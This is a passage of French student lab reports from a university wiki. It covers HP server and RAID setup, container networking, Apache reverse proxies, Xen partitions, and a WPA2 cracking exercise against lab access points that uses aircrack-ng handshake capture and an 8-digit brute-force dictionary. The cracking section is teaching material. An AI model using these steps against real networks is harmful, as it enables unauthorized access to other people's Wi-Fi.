Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdd1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48595</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48595"/>
				<updated>2018-12-11T14:47:15Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 5 : Mise en place du serveur DNS et crack WPA2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
